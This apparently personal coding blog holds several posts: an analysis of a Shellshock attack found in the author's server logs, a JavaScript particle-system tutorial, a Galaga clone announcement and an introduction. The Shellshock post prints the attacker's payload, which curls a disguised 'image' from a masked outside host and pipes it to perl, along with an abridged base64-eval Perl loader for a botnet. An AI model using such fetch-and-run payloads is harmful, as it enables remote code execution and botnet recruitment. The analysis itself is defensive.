Aaaannddd we're back... ShellShock Payload analysis

    Wow, it's been a while, let's jump in. Okay, here's a bit of information on Shellshock. It's an exploit in a linux shell called bash estimated to have affected roughly seventy percent of the internet. This exploit affected Unix systems including but not limited to Android, OSX, and Linux. ShellShock allows an attacker to execute code on a vulnerable target machine. A shellshock exploit generally looks something like this: "() { :; }; echo 'Shellshock vulnerable'". This would allow an attacker to print "Shellshock vulnerable" to the console. Of course, this is an example, and isn't really dangerous. Let's look at something a bit more realistic.

    I'm working on a website and I, like many other admins have found some very interesting data in our logs. Please note that by executing any of the code I mention or link past this point, you'll most likely damage your computer, possibly irreversibly. With that disclaimer out of the way, let's get to the fun stuff. As I was looking through my logs for shellshock attempts, one particularly caught my eye. The attacker attempted to send me the following payload:

() { :; }; curl http://***.***.***.***/index.png | perl

 I decided it would be interesting to look at this "image", seeing as most images are not executable through perl. After loading the image into a text editor, my suspicions of an executable were confirmed. I found the following inside the "image"(abridged so as not to fill the page):

#!/usr/bin/perl
use MIME::Base64;
eval (decode_base64('I3lvdSBnb3Qgc2hl...DQo='));

This code essentially takes an encoded string, decodes it, and executes it. The source code is obfuscated using base64. Luckily, as demonstrated here, base64 is easily decodable. I then proceeded to decode the base64 and was excited to see that the source code was easily readable. The gist of the code that I discovered was adding the infected machine to a DDoS and spam email botnet, run through an IRC. As you can see by looking at the source (again, don't run it), the botnet is run by users "M","st0n3d","x00" and "Jorgee". Due to the nice, ascii-art filled interface, I'm guessing that they plan on selling their botnet. This attack was pretty well masked, though the server in question was patched for shellshock. Nice try though!

Picking Apart Particle Systems

Particle Systems are interesting. They can be complicated, or very simple, all depending on how much effort you wish to put into it They can look anything like this from Giladlotan, to this from Mr. Speaker . They can be created quite simply with HTML5 and JavaScript using objects. First,create a basic canvas, prepare it for drawing, and have a draw loop set up . If you don't know how to do this, simply Google it, there's plenty of great tutorials. Secondly, you create the object.

function particle(x,y) {
this.x=x;
this.y=y
}

Now we have our basic particle. This will be used several times throughout the code. We then need to create an array to store the information. At the top of your code, insert this: var particles = []; This initializes an empty array of particles. When run, it does nothing special. so let's add some particles to the array.


particles.push(new particle(0,0));
particles.push(new particle(50,50));
particles.push(new particle(100,100));
particles.push(new particle(100,100)); This will still do nothing, this is because we never draw the particles. Let's change the particle code a bit to function properly.


function particle(x,y) {
   this.x=x;
   this.y=y;
   this.draw=function() {

      context.fillRect(this.x,this.y,5,5)

   }
} This is then called by the draw method using the following code:
for(var i=0;i<particles.length;i++) {
    particles[i].draw();
}
Then, you have some dots on the screen. So let's move them. Create an update function in the particle class and call it every update.
this.update=function() {
   this.x+=9.8
               //constant rate of gravity
}
Voila. We have ourselves a very simple particle control system. Add some more, using a while loop, a for loop, or a mousemove event, add a background, and some particle images, and you get something like this:

Simple Galaga Clone

I've been working a lot with html5 and javascript recently, and created a little galaga clone.  Here it is:
(use arrow keys to move and 'X' to shoot)
NEW VERSION!
Changelog:

• Fixed flickering bugs
• Re-added explosions and shrapnel.
• Added new boss on level 100.
• Added a special surprise after level 100(Trust me, It's worth it.)

Known Bugs:

• Boss fights crash the game. Simply refresh the browser to fix this until the next boss. I apologize for the inconvenience, I'm working on it.

Initial Post

Hello, My name is Dylan! I like pizza, coding, and long walks on the beach(just kidding!) This blog will probably be mostly about my coding projects and ideas. I really appreciate all feedback. Feel free to download any of my programs I post(just don't steal them and take credit).